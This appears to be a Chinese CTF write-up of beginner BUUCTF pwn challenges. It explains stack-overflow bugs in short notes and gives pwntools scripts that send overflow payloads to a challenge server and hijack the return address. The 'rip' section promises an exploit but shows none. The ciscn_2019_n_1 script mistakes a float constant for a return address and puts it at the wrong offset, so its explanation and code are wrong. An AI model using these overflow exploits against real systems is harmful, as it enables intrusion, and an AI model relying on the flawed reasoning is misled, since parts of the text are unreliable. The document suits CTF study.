test_your_nc 1
查看我们main函数,发现这里只有system函数和/bin/sh,不存在栈溢出,终端直接nc就行。
rip
查看main函数,我们发现gets没有限制输入,这里有栈溢出风险
查看fun我们发现了system函数和/bin/sh
exp:
warmup_csaw_2016
查看main函数,看到gets(V5)发现是栈溢出
我们找到了system函数,发现了cat flag.txt所以当成我们的返回函数
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.buuoj.cn',26536)
#io = process('/home/xp/tm/bin/warmup_csaw_2016')
ret = 0x4004a1
dool = 0x400611
padding = b'a'*(0x40+0x8)
payload = padding + p64(dool)
io.sendline(payload)
io.interactive()
ciscn_2019_n_1
查看main函数,发现这里有个func函数
进入func函数,我们看到有个变量,v1和v2,看第9行我们知道要输入的是V2要等于11.28125才能得到flag。第8行我们要先输入V1,我们要先看他们两个的距离是多少
这里是我们v1的距离是30
这里是v2的距离
两个距离我们用v1的0x30-0x4 v2的 得到我们的距离0x2c
所以我们要输入的距离就是0x2c
我们查看gets(v1)的输入位置是41348000
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.buuoj.cn','29213')
dool = 0x41348000
padding = b'a'*(0x2c+0x8)
payload = padding + p64(dool)
io.sendline(payload)
io.interactive()